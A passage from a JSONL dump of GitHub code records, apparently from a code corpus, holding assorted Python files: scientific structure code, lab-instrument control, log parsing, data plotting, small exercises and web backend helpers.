explicit coordinate instead\")\n else:\n func_grp = FunctionalGroups[func_grp]\n\n # If a bond length can be found, modify func_grp so that the X-group\n # bond length is equal to the bond length.\n bl = get_bond_length(non_terminal_nn.specie, func_grp[1].specie,\n bond_order=bond_order)\n if bl is not None:\n func_grp = func_grp.copy()\n vec = func_grp[0].coords - func_grp[1].coords\n func_grp[0] = \"X\", func_grp[1].coords + bl / np.linalg.norm(vec) \\\n * vec\n\n # Align X to the origin.\n x = func_grp[0]\n func_grp.translate_sites(list(range(len(func_grp))), origin - x.coords)\n\n # Find angle between the attaching bond and the bond to be replaced.\n v1 = func_grp[1].coords - origin\n v2 = self[index].coords - origin\n angle = get_angle(v1, v2)\n\n if 1 < abs(angle % 180) < 179:\n # For angles which are not 0 or 180, we perform a rotation about\n # the origin along an axis perpendicular to both bonds to align\n # bonds.\n axis = np.cross(v1, v2)\n op = SymmOp.from_origin_axis_angle(origin, axis, angle)\n func_grp.apply_operation(op)\n elif abs(abs(angle) - 180) < 1:\n # We have a 180 degree angle. Simply do an inversion about the\n # origin\n for i in range(len(func_grp)):\n func_grp[i] = (func_grp[i].species_and_occu,\n origin - (func_grp[i].coords - origin))\n\n # Remove the atom to be replaced, and add the rest of the functional\n # group.\n del self[index]\n for site in func_grp[1:]:\n self._sites.append(site)\n\n\nclass StructureError(Exception):\n \"\"\"\n Exception class for Structure.\n Raised when the structure has problems, e.g., atoms that are too close.\n \"\"\"\n pass\n\nwith open(os.path.join(os.path.dirname(__file__),\n \"func_groups.json\"), \"rt\") as f:\n FunctionalGroups = {k: Molecule(v[\"species\"], v[\"coords\"])\n for k, v in json.load(f).items()}\n","repo_name":"comscope/ComDMFT","sub_path":"ComRISB/pyextern/pymatgen/pymatgen/core/structure.py","file_name":"structure.py","file_ext":"py","file_size_in_byte":129123,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"86"} +{"seq_id":"12722029120","text":"from torchio import Subject, ScalarImage\nfrom monai.transforms.compose import MapTransform, Randomizable\nfrom monai.config import KeysCollection\nfrom typing import Any, Dict, Hashable, Mapping, Optional\nimport numpy as np\n\n\nclass TorchIOWrapper(Randomizable, MapTransform):\n \"\"\"\n Use torchio transformations in Monai and control which dictionary entries are transformed in synchrony!\n trans: a torchio tranformation, e.g. RandomGhosting(p=1, num_ghosts=(4, 10))\n keys: a list of keys to apply the trans to, e.g. keys = [\"img\"]\n p: probability that this trans will be applied (to all the keys listed in 'keys')\n \"\"\"\n\n def __init__(self, keys: KeysCollection, trans: None, p: None) -> None:\n \"\"\" \"\"\"\n super().__init__(keys)\n\n self.keys = keys\n self.trans = trans\n self.prob = p\n self._do_transform = False\n\n def randomize(self, data: Optional[Any] = None) -> None:\n self._do_transform = self.R.random() < self.prob\n\n def __call__(\n self, data: Mapping[Hashable, np.ndarray]\n ) -> Dict[Hashable, np.ndarray]:\n\n d = dict(data)\n\n self.randomize()\n if not self._do_transform:\n return d\n\n for k in range(len(self.keys)):\n subject = Subject(datum=ScalarImage(tensor=d[self.keys[k]]))\n if k == 0:\n transformed = self.trans\n else:\n transformed = transformed.get_composed_history()\n transformed = transformed(subject)\n d[self.keys[k]] = transformed[\"datum\"].data\n\n return d\n","repo_name":"high-dimensional/3d_very_deep_vae","sub_path":"verydeepvae/data_tools/torch_wrapper.py","file_name":"torch_wrapper.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"38247761972","text":"import time\nfrom ophyd import (Device, Component as Cpt)\nfrom ophyd import (EpicsMotor, EpicsSignal)\n\nimport bluesky.plan_stubs as bps\n\nanc350_dc_controllers = [2, 3, 4, 7]\n# add 6 to this list if controller's moved back to the microscope rack\nanc350_axis_counts = {1: 6,\n 2: 6,\n 3: 4,\n 4: 6,\n 5: 6,\n 6: 6,\n 7: 3,\n # 8: 4,\n }\n\n\nclass Anc350Axis(Device):\n motor = Cpt(EpicsMotor, 'Mtr')\n desc = Cpt(EpicsSignal, 'Mtr.DESC')\n frequency = Cpt(EpicsSignal, 'Freq-I', write_pv='Freq-SP')\n\n amplitude = Cpt(EpicsSignal, 'Ampl-I', write_pv='Ampl-SP')\n\n def __init__(self, prefix, *, axis_num=None, **kwargs):\n self.axis_num = int(axis_num)\n super(Anc350Axis, self).__init__(prefix, **kwargs)\n\n\nclass Anc350Controller(Device):\n dc_period = Cpt(EpicsSignal, 'DCPer-I', write_pv='DCPer-SP')\n dc_off_time = Cpt(EpicsSignal, 'DCOff-I', write_pv='DCOff-SP')\n dc_enable = Cpt(EpicsSignal, 'DC-I', write_pv='DC-Cmd')\n\n def __init__(self, prefix, **kwargs):\n super(Anc350Controller, self).__init__(prefix, **kwargs)\n\n def setup_dc(self, enable, period, off_time, verify=True):\n enable = 1 if enable else 0\n period = int(period)\n off_time = int(off_time)\n wait_group = 'anc_set_dc'\n\n yield from bps.abs_set(self.dc_period, period,\n group=wait_group)\n yield from bps.abs_set(self.dc_off_time, off_time,\n group=wait_group)\n yield from bps.abs_set(self.dc_enable, enable,\n group=wait_group)\n if verify:\n yield from bps.wait(group=wait_group)\n\n\nclass HxnAnc350Axis(Anc350Axis):\n def __init__(self, controller, axis_num, **kwargs):\n prefix = 'XF:03IDC-ES{{ANC350:{}-Ax:{}}}'.format(controller, axis_num)\n name = f'anc_axis_{controller}'\n super().__init__(prefix, axis_num=axis_num, name=name, **kwargs)\n\n\nclass HxnAnc350Controller(Anc350Controller):\n def __init__(self, controller, **kwargs):\n prefix = 'XF:03IDC-ES{{ANC350:{}}}'.format(controller)\n name = f'anc_controller_{controller}'\n super().__init__(prefix, name=name, **kwargs)\n\n self.axes = {axis: HxnAnc350Axis(controller, axis)\n for axis in range(anc350_axis_counts[controller])}\n\n\nanc350_controllers = {controller: HxnAnc350Controller(controller)\n for controller in anc350_axis_counts}\n\n\ndef _dc_status(controller, axis):\n pass\n\n\ndef _wait_tries(signal, value, tries=20, period=0.1):\n '''Wait up to `tries * period` for signal.get() to equal value'''\n\n # TODO set_and_wait?\n while tries > 0:\n tries -= 1\n if signal.get() == value:\n break\n\n time.sleep(period)\n\n\ndef _dc_toggle(axis, enable, freq, dc_period, off_time):\n print('Axis {} {}: '.format(axis.axis_num, axis.desc.value), end='')\n yield from bps.mov(axis.frequency, freq)\n print('frequency={}'.format(axis.frequency.get()))\n\n\ndef dc_toggle(enable, controllers=None, freq=100, dc_period=20, off_time=10):\n if controllers is None:\n controllers = anc350_dc_controllers\n\n for controller in controllers:\n print('Controller {}: '.format(controller), end='')\n controller = anc350_controllers[controller]\n\n try:\n yield from controller.setup_dc(enable, dc_period, off_time)\n except RuntimeError as ex:\n print('[Failed]', ex)\n except TimeoutError:\n print('Timed out - is the controller powered on?')\n continue\n else:\n if enable:\n print('Enabled duty cycling ({} off/{} on)'.format(\n controller.dc_off_time.get(),\n controller.dc_period.get()))\n else:\n print('Disabled duty cycling')\n\n for axis_num, axis in sorted(controller.axes.items()):\n print('\\t', end='')\n yield from _dc_toggle(axis, enable, freq,\n dc_period, off_time)\n\n\ndef dc_on(*, frequency=100):\n yield from dc_toggle(True, freq=frequency)\n\n\ndef dc_off(*, frequency=1000):\n yield from dc_toggle(False, freq=frequency)\n","repo_name":"NSLS-II-HXN/hxntools","sub_path":"hxntools/anc350.py","file_name":"anc350.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"22142629744","text":"num1=int(input(\"Enter First Number: \"))\r\nnum2=int(input(\"Enter Second Number: \"))\r\nnum3=int(input(\"Enter Third Number: \"))\r\nnum4=int(input(\"Enter Fourth Number: \"))\r\nif (num1>num2):\r\n if (num1>num3):\r\n if (num1>num4):\r\n print(f\"{num1} is Greatest\")\r\nelif(num2>num1):\r\n if(num2>num3):\r\n if(num2>num4):\r\n print(f\"{num2} is Greatest\")\r\nelif(num3>num1):\r\n if(num3>num2):\r\n if(num3>num4):\r\n print(f\"{num3} is Greatest\")\r\nelif(num4>num1):\r\n if(num4>num2):\r\n if(num4>num3):\r\n print(f\"{num4} is Greatest\")\r\nelif(num1==num2 and num2==num3 and num3==num4):\r\n print(f\"{num1},{num2},{num3} and {num4} are Equal\")\r\ninput(\"Press Enter To Exit\")\r\n\r\n","repo_name":"RATHAUR-CSE-20/PythonProjects","sub_path":"PRACTICE SET 06/Greatestwhich.py","file_name":"Greatestwhich.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"21002309156","text":"# Python code for data visualization\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv('C:\\\\Users\\\\b.ad\\\\Downloads\\\\ebola_2014_2016_clean.csv')\n\n# Convert the 'Date' column to datetime\ndata['Date'] = pd.to_datetime(data['Date'])\n\n# Group the data by 'Country'\ngrouped_data = data.groupby('Country')\n\n# Create a single figure to plot all countries\nplt.figure()\n\n# Plotting for each country\nfor country, group in grouped_data:\n plt.plot(group['Date'], group['Cumulative no. of confirmed, probable and suspected cases'], label='Cumulative Cases - {}'.format(country))\n plt.plot(group['Date'], group['Cumulative no. of confirmed, probable and suspected deaths'], label='Cumulative Deaths - {}'.format(country))\n\nplt.xlabel('Date')\nplt.ylabel('Count')\nplt.title('Ebola Outbreak 2014 to 2016 - Cumulative Cases and Deaths')\nplt.legend()\nplt.xticks(rotation=45)\n\nplt.show()\n","repo_name":"esianyo/extra_programs","sub_path":"py_programs/preprocess_data.py","file_name":"preprocess_data.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"25609719714","text":"import argparse\nimport csv\nimport os\nfrom collections import Counter\nimport json\n\n\ndef repo_root():\n return os.path.abspath(os.path.join(__file__, os.pardir))\n\n\ndef decent_report(data, filename, headers=None):\n with open(filename + '.csv', 'w') as csv_file:\n writer = csv.writer(csv_file)\n if headers is not None:\n writer.writerow(headers)\n for key in data:\n writer.writerow((key, data[key]))\n\n if is_json:\n with open(filename + '.json', 'w') as json_file:\n json.dump(data, json_file)\n\n\npars = argparse.ArgumentParser()\npars.add_argument(\"--json\", action=\"store_true\")\npars.add_argument(\"--log_path\", default='access.log')\nflag_values = pars.parse_args()\nis_json = flag_values.json\nlog_path = flag_values.log_path\nwith open(log_path, 'r') as log:\n log_file = log.readlines()\n request_method_list = list()\n urls_list = list()\n ips_list = list()\n err4xx_stat_list = list()\n n = 0\n for line in log_file:\n n = n + 1\n request_method = line.split(' ')[5].split('\"')[-1]\n url = line.split(' ')[6]\n status_code = line.split(' ')[8]\n if len(request_method) < 5:\n request_method_list.append(request_method)\n urls_list.append(url)\n if status_code[0] == '5':\n ips_list.append(line.split(' ')[0])\n elif status_code[0] == '4':\n err4xx_stat_list.append([url, status_code, len(url), line.split(' ')[0]])\n\nerr4xx_stat_list.sort(key=lambda i: i[2], reverse=True)\nerr4xx_stat_list = err4xx_stat_list[0:4]\ndecent_report(data={'Number of requests': n}, filename='requests_amount')\ndecent_report(data=dict(Counter(request_method_list).most_common()), headers=['Request method', 'Number of requests'],\n filename='requests_by_type')\ndecent_report(data=dict(Counter(urls_list).most_common(10)),\n headers=['Url', 'Requests amount'], filename='top10_most_frequent')\ndecent_report(data=dict(Counter(ips_list).most_common(5)),\n headers=['IP', 'Number of requests'], filename='top5_5xx_err')\nwith open('top5_4xx_err.csv', 'w') as csv_output:\n writer = csv.writer(csv_output)\n writer.writerow(['Url', 'Status code', 'Url size', 'IP'])\n for line in err4xx_stat_list:\n writer.writerow(line)\n\nif is_json:\n err4_json = {\n 'Url': [i[0] for i in err4xx_stat_list],\n 'Status code': [i[1] for i in err4xx_stat_list],\n 'Url size': [i[2] for i in err4xx_stat_list],\n 'IP': [i[3] for i in err4xx_stat_list],\n }\n with open('top5_4xx_err.json', 'w') as outlet:\n json.dump(err4_json, outlet)\n","repo_name":"Ret14/2021-2-QA-AUTO-PYTHON-VKGROUP-R-Ivannikov","sub_path":"Parsing_homework/ultimate_script.py","file_name":"ultimate_script.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"6506695394","text":"import json\n\nclass Route:\n def __init__(self, event):\n self.route_id = event['route_id']\n self.route_name = event['route_name']\n self.distance = event['distance']\n self.freight_cost_per_ton = event['freight_cost_per_ton']\n\nclass InboundRoute(Route):\n def __init__(self, event):\n super().__init__(event)\n self.supplier_code = event['supplier_code']\n self.plant_code = event['plant_code']\n\nclass OutboundRoute(Route):\n def __init__(self, event):\n super().__init__(event)\n self.plant_code = event['plant_code']\n self.client_code = event['client_code']\n\ndef lambda_handler(event, context):\n inbound_route = InboundRoute(event).__dict__\n outbound_route = OutboundRoute(event).__dict__\n \n return {\n 'statusCode': 200,\n 'body': {\n 'inbound_route': inbound_route,\n 'outbound_route': outbound_route\n }\n }\n","repo_name":"vocchiogrosso/H112","sub_path":"aws/lambda/lambda_routeClass.py","file_name":"lambda_routeClass.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"28996241496","text":"from ...order.models import Order\nfrom .types import OrderConditionStatusType\nfrom django.db.models import Q, Sum\nfrom ...account.models import User\n\n\ndef resolve_order_condition():\n collection = []\n all_number = Order.objects.filter(is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.ALL,\n \"count\": all_number})\n waitship_number = Order.objects.filter(\n status='fulfilled', is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.WAITSHIP,\n \"count\": waitship_number\n })\n shipping_number = Order.objects.filter(\n status='shipping', is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.SHIPPING,\n \"count\": shipping_number\n })\n waitpay_number = Order.objects.filter(\n status='unfulfilled', is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.WAITPAY,\n \"count\": waitpay_number\n })\n finish_number = Order.objects.filter(\n status='received', is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.FINISH,\n \"count\": finish_number\n })\n cancel_number = Order.objects.filter(\n Q(status='canceled') | Q(status=\"refund\"), is_delete=False).count()\n collection.append({\n \"status\": OrderConditionStatusType.CANCEL,\n \"count\": cancel_number\n })\n\n return collection\n\n\ndef resolve_user_count():\n return User.objects.filter(is_staff=False, is_active=True).count()\n\n\ndef resolve_purchase_count():\n count = Order.objects.filter(\n status='received').aggregate(sum=Sum('paid_price'))\n return count['sum'] or 0\n","repo_name":"zaolune/shop","sub_path":"shop-backend/shop/api/sale/resolvers.py","file_name":"resolvers.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"27416439469","text":"from .config import site_config\nfrom .control import CompositeControl\nfrom .control.geometry import *\nfrom .map import geometry\n\n\ndef from_lat_lon(lat: float, lon: float) -> Tuple[float, float]:\n assert site_config.reference, \"Site reference missing\"\n x, y = site_config.reference.to_site(lat, lon)\n return x, y\n\n\ndef mowing():\n from shapely.geometry import JOIN_STYLE\n\n # TODO: return exterior and aoi to web GUI and plot, depending on mission\n exterior = geometry.polygon(site_config.exterior)\n # mission config may define an area of interest to mow a selected area\n if mission_config.aoi:\n aoi = exterior.intersection(geometry.polygon(mission_config.aoi))\n else:\n aoi = exterior\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n # make room for a half cutter diameter - may buffer additionally to make sure we don't crash:\n # body width, GPS error, tracking error, control error, ...\n # TODO: move this to .map.geometry\n # TODO: should use the exterior bounds of the robot - plus some buffer margin - and not the cut diameter!\n aoi = aoi.buffer(-0.5 * robot_config.mower.cut_diameter, join_style=JOIN_STYLE.mitre)\n\n # if plot:\n # plot.add_shape(aoi, facecolor=\"darkkhaki\")\n # plot.pause()\n # # input(\"Wait for key press\")\n\n # half cut overlap to cover above errors - or use less overlap and assume will cover misses on the next mission\n return FenceShrink(exterior, aoi, speed, omega, -0.5 * robot_config.mower.cut_diameter)\n\n\ndef rectangle_scan():\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n return ScanHLine(-2, -3, 1, -1.25, speed, omega, 0.5 * robot_config.cut_diameter)\n\n\ndef rectangle_loop():\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n return PathControls(geometry.rectangle(0, 1, -2, 2).exterior.coords, speed, omega)\n\n\ndef triangle():\n\n from .control.controls import LineControl, SpeedDistanceControl\n\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n\n def _controls():\n def path():\n # triangle forever\n while True:\n yield -1, 0\n yield -1, 1\n yield -2, 0\n\n # reverse out of dock, no heading control\n yield SpeedDistanceControl(-0.1, 1)\n\n p0 = None\n for p in path():\n if p0 is not None:\n yield LineControl(p0, p, speed, omega)\n p0 = p\n\n return _controls()\n\n\ndef corridor():\n from .control.camera import ImageCaptureControl, capture_gauge\n from .control.controls import AvoidObstacleControl, SpeedDistanceControl, TimeControl2\n from .control.docking import dock\n from .models.ptz import PanTiltZoomPosition\n\n omega = mission_config.control.omega\n\n # distance to reverse out of dock and where dock command is issued.\n # also serves as a buffer for position inaccuracy when returning to the dock.\n dock_x = site_config.dock.position.x\n dock_y = site_config.dock.position.y\n\n undock_x = -0.4\n undock_position = (dock_x + undock_x, dock_y)\n\n # corridor width is x in 0 - 1.7m, so middle should be x=0.85m.\n path = [\n # avoid Stein's chair and get a view of the tags,\n # also ensure heading slightly to corridor before any obstacle detection of walls, avoiding slipping to IT door\n (1.5, -1.2),\n (0.9, -1.5), # head to wall but with slight heading to corridor\n (0.9, -2.9), # along wall, # avoid running straight against windows\n (1.1, -4.0), # between chair and shelves\n (1.1, -9), # avoid shelves and boxes\n (0.8, -10), # towards middle of corridor\n (0.8, -13.6), # middle of intersection\n (-3.4, -13.6), # down N corridor\n (-3.4, -14.5), # against gauge (and tag)\n ]\n\n # reverse out of dock without heading control\n t, state = yield SpeedDistanceControl(-0.1, abs(undock_x))\n\n # Ensure turning left towards door to get tag fix\n wait_time = 0.5 * math.pi / omega # seconds\n t, state = yield TimeControl2(0, omega, t + wait_time)\n\n # Follow path\n for c in PointControls([undock_position] + path):\n t, state = yield AvoidObstacleControl(c)\n\n # Head against palm gauge\n t, state = yield HeadingControl(-pi / 2)\n\n # gauge_id = \"tag\"\n # pos = PanTiltZoomPosition(0, 0, 1)\n\n # Gauge on palm above April tag 235\n gauge_id = \"gauge:palm\"\n pos = PanTiltZoomPosition(0, 10, 1) # degrees! Should be radians!?\n t, state = yield ImageCaptureControl(capture_gauge(pos, gauge_id))\n\n # Return to dock\n path.reverse()\n for c in PointControls(path):\n t, state = yield AvoidObstacleControl(c)\n\n # Run last leg to dock_waypoint until inside IR beam from dock.\n # Don't avoid obstacles from depth camera, but stop (hangs) on bumper.\n t, state = yield dock()\n\n\ndef corridor_short():\n from .control.controls import AvoidObstacleControl, SpeedDistanceControl, TimeControl2\n from .control.docking import dock\n\n omega = mission_config.control.omega\n\n # distance to reverse out of dock and where dock command is issued.\n # also serves as a buffer for position inaccuracy when returning to the dock.\n dock_x = site_config.dock.position.x\n dock_y = site_config.dock.position.y\n\n undock_x = -0.4\n undock_position = (dock_x + undock_x, dock_y)\n\n # corridor width is x in 0 - 1.7m, so middle should be x=0.85m.\n path = [\n # avoid Stein's chair and get a view of the tags,\n # also ensure heading slightly to corridor before any obstacle detection of walls, avoiding slipping to IT door\n (1.5, -1.2),\n (0.9, -1.5), # head to wall but with slight heading to corridor\n (0.9, -2.9), # along wall, # avoid running straight against windows\n ]\n\n # reverse out of dock without heading control\n t, state = yield SpeedDistanceControl(-0.1, abs(undock_x))\n\n # Ensure turning left towards door to get tag fix\n wait_time = 0.5 * math.pi / omega # seconds\n t, state = yield TimeControl2(0, omega, t + wait_time)\n\n # Follow path\n for c in PointControls([undock_position] + path):\n t, state = yield AvoidObstacleControl(c)\n\n # Return to dock\n path.reverse()\n for c in PointControls(path):\n t, state = yield AvoidObstacleControl(c)\n\n # Run last leg to dock_waypoint until inside IR beam from dock.\n # Don't avoid obstacles from depth camera, but stop (hangs) on bumper.\n t, state = yield dock()\n\n\ndef dock_capture():\n from .control.camera import ImageCaptureControl, capture_gauge\n from .control.controls import GetStateControl, TimeControl2\n from .models.ptz import PanTiltZoomPosition\n\n gauge_id = \"dock\"\n pos = PanTiltZoomPosition(0, 0, 1)\n wait_time = 5 # seconds\n\n t, state = yield GetStateControl()\n t, state = yield TimeControl2(0, 0, t + wait_time)\n for i in range(3):\n logger.info(\"Gauge capture %d\", i)\n t, state = yield ImageCaptureControl(capture_gauge(pos, gauge_id))\n t, state = yield TimeControl2(0, 0, t + wait_time)\n\n\ndef office_plaza_lap():\n from .control.controls import LineControl\n\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n proximity = mission_config.control.proximity\n\n def points():\n for lap in range(3):\n # Starting point\n yield 0, 2\n\n # Stairs NE:\n yield 50, 2\n # yield from_lat_lon(59.905026, 10.626389)\n\n # Stairs NE:\n yield 50, -11\n # yield from_lat_lon(59.904963, 10.626571)\n\n # Corner inset:\n yield 31, -11\n # yield from_lat_lon(59.904828, 10.626370)\n\n # Corner:\n yield 31, -20.5\n # yield from_lat_lon(59.904771, 10.626519)\n yield 30, -22\n\n # Stairs SW:\n yield -29, -22\n # yield from_lat_lon(59.904344, 10.625859)\n\n # Escalator:\n yield -32, 3\n # yield from_lat_lon(59.904447, 10.625477)\n\n yield -2, 3\n\n # TODO: check that the robot starts in the neighborhood of p0\n _points = points()\n p0 = next(_points)\n p1 = p0\n for p2 in _points:\n yield LineControl(p1, p2, speed, omega, proximity)\n p1 = p2\n\n # back to start\n yield LineControl(p1, p0, speed, omega)\n\n\ndef office_plaza_rectangle():\n from .control.controls import LineControl\n\n speed = mission_config.control.speed\n omega = mission_config.control.omega\n proximity = mission_config.control.proximity\n\n p1 = (0, 1)\n p2 = (7, 1)\n p3 = (7, 3)\n p4 = (0, 3)\n\n for lap in range(3):\n t, state = yield LineControl(p1, p2, speed, omega, proximity)\n t, state = yield LineControl(p2, p3, speed, omega, proximity)\n t, state = yield LineControl(p3, p4, speed, omega, proximity)\n t, state = yield LineControl(p4, p1, speed, omega, proximity)\n\n\ndef turns():\n from .control.controls import ArcControl, TimeControl2\n\n # speed = mission_config.control.speed\n omega = mission_config.control.omega\n\n theta = 0\n while True:\n theta += math.pi\n t, state = yield ArcControl(0, omega, theta)\n t, state = yield TimeControl2(0, 0, t + 5)\n\n\ndef dock_test1():\n # reverse out of dock then dock\n from .control.controls import SpeedDistanceControl\n from .control.docking import DockControl\n\n t, state = yield SpeedDistanceControl(-0.1, 0.3)\n t, state = yield TimeControl2(-0.2, -0.1, t + 2)\n yield DockControl()\n\n\ndef dock_test2():\n from .control.controls import SpeedDistanceControl\n from .control.docking import dock\n\n t, state = yield SpeedDistanceControl(-0.1, 0.3)\n t, state = yield TimeControl2(-0.2, -0.1, t + 2)\n yield dock()\n\n\ndef turn_360():\n from .control.controls import GetStateControl, TimeControl2\n\n omega = mission_config.control.omega\n turn_time = 2 * math.pi / omega # seconds\n t, state = yield GetStateControl()\n for i in range(3):\n t, state = yield TimeControl2(0, omega, t + turn_time)\n t, state = yield TimeControl2(0, 0, t + 3.0)\n t, state = yield TimeControl2(0, -omega, t + turn_time)\n t, state = yield TimeControl2(0, 0, t + 3.0)\n\n\n_missions = {\n \"Mowing\": mowing,\n \"RectangleScan\": rectangle_scan,\n \"RectangleLoop\": rectangle_loop,\n}\n\n\nasync def get_mission(name: str):\n mission = _missions.get(name)\n if mission:\n return CompositeControl(mission())\n raise ValueError(\"Undefined mission: %s\" % name)\n","repo_name":"oholsen/mower","sub_path":"edge-control/edge_control/missions.py","file_name":"missions.py","file_ext":"py","file_size_in_byte":10627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"18856001281","text":"import os\nimport sys\nimport gtk\n\nfrom umit.core.Paths import Path\nfrom umit.gui.qs.Main import Main\n\nclass App(Main):\n \"\"\"\n This module will manage all QS app.\n \"\"\"\n \n def __init__(self):\n Path.set_umit_conf(os.path.dirname(sys.argv[0]))\n Path.set_running_path(os.path.abspath(os.path.dirname(sys.argv[0])))\n \n def run(self):\n Main.__init__(self)\n # Run main loop\n gtk.main()\n \n def safe_shutdown(self, signum, stack):\n log.debug(\"\\n\\n%s\\nSAFE SHUTDOWN!\\n%s\\n\" % (\"#\" * 30, \"#\" * 30))\n log.debug(\"SIGNUM: %s\" % signum)\n\n self._exit_cb()\n sys.exit(signum)\n \nif __name__ == \"__main__\":\n a = App()\n gtk.main()","repo_name":"umitproject/network-scanner","sub_path":"umit/gui/qs/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"9"} +{"seq_id":"26284212927","text":"from typing import Any\n\nimport coolname\nimport numpy as np\nfrom rich.console import Console\n\n\ndef denote_pt(inpt, pt_min=0.0) -> Any:\n \"\"\"Append suffix to designate pt threshold.\n If string is given, return string.\n If dict is given, modify all keys.\n \"\"\"\n suffix = \"\" if np.isclose(pt_min, 0.0) else f\"_pt{pt_min:.1f}\"\n if isinstance(inpt, str):\n return f\"{inpt}{suffix}\"\n if isinstance(inpt, dict):\n return {denote_pt(k, pt_min=pt_min): v for k, v in inpt.items()}\n msg = f\"Cannot denote_pt for type {type(inpt)}.\"\n raise ValueError(msg)\n\n\ndef random_trial_name(print=True) -> str:\n \"\"\"Generate a random trial name.\n\n Args:\n print: Whether to print the name\n \"\"\"\n name = coolname.generate_slug(3)\n if print:\n c = Console(width=80)\n c.rule(f\"[bold][yellow]{name}[/yellow][/bold]\")\n return name\n","repo_name":"gnn-tracking/gnn_tracking","sub_path":"src/gnn_tracking/utils/nomenclature.py","file_name":"nomenclature.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"9"} +{"seq_id":"72848512292","text":"from collections import Counter\nfrom typing import List\n\n\nclass Solution:\n def majorityElement(self, nums: List[int]) -> int:\n c = Counter(nums)\n for i, j in c.items():\n if j > len(nums) // 2:\n return i\n\n def majorityElement2(self, nums: List[int]) -> int:\n n = len(nums)\n\n for i in nums:\n count = nums.count(i)\n if count > n // 2:\n return i\n\n def majorityElement3(self, nums: List[int]) -> int:\n count = 0\n majority_element = 0\n\n for i in nums:\n if count == 0:\n majority_element = i\n\n if majority_element == i:\n count += 1\n else:\n count -= 1\n\n return majority_element\n\n\nobj = Solution()\nnums = [3, 2, 3, 2, 2]\nprint(obj.majorityElement3(nums))\n","repo_name":"goaziz/leetcode","sub_path":"Easy/majority_element_169.py","file_name":"majority_element_169.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"72734583334","text":"# -*- coding: utf-8 -*-\n\nfrom rest_framework import serializers\n\nfrom v1.models.Board import Boards\n\n\nclass ChangeNameSerializer(serializers.ModelSerializer):\n class Meta:\n model = Boards\n fields = ('id', 'name', 'date_created', 'deleted')\n read_only_fields = (\n 'id',\n 'date_created',\n 'deleted'\n )\n","repo_name":"bergran/Tswift-backend","sub_path":"v1/serializers/boards/change_name.py","file_name":"change_name.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"1058380235","text":"import random\n\nmatrix = []\n\nfor j in range(3):\n row = []\n for m in range(100):\n number = random.randint(3,99)\n isPrime = True\n for i in range(2, number):\n if (number % i) == 0:\n isPrime = False\n break\n if isPrime == True:\n row.append(number)\n if len(row) == 3:\n break\n else:\n continue\n matrix.append(row)\n\nfor n in range(3):\n print(matrix[n])\n\n ","repo_name":"Elif-GLTKN/globalAI_Repo","sub_path":"homework/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"7332522873","text":"import csv\nimport random\nimport matplotlib.pyplot as plt\nfrom scipy.stats import shapiro \n\n\nwith open('SOCR-HeightWeight.csv', 'r') as height_file :\n csv_reader = csv.reader(height_file)\n next(csv_reader)\n\n heights = []\n\n for line in csv_reader :\n heights.append(float(line[1]))\n\n sample = random.sample(heights, 1000)\n\n print(shapiro(sample))\n plt.hist(sample, bins = 12, edgecolor = 'black')\n plt.xlabel(\"Height of a 18 year old/inches\")\n plt.ylabel(\"Frequency\")\n plt.title(\"1000 random samples\")\n plt.show()\n\n","repo_name":"aashimehta08/stats516_finalProject","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"8399280031","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport time\nimport random\n\n# 基本配置\n\n# chrome_options=Options()\n# chrome_options.add_argument('--headless')\n# chrome_options.add_argument('--no-sandbox')\n# chrome_options.add_argument('--no-gpu')\n# chrome_options.add_argument('--disable-setuid-sandbox')\n# chrome_options.add_argument('--single-process')\n# chrome_options.add_argument('--window-size=1920,1080')\n\nUSER_AGENT = [\n 'Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62',\n 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.9.168 Version/11.52',\n 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) 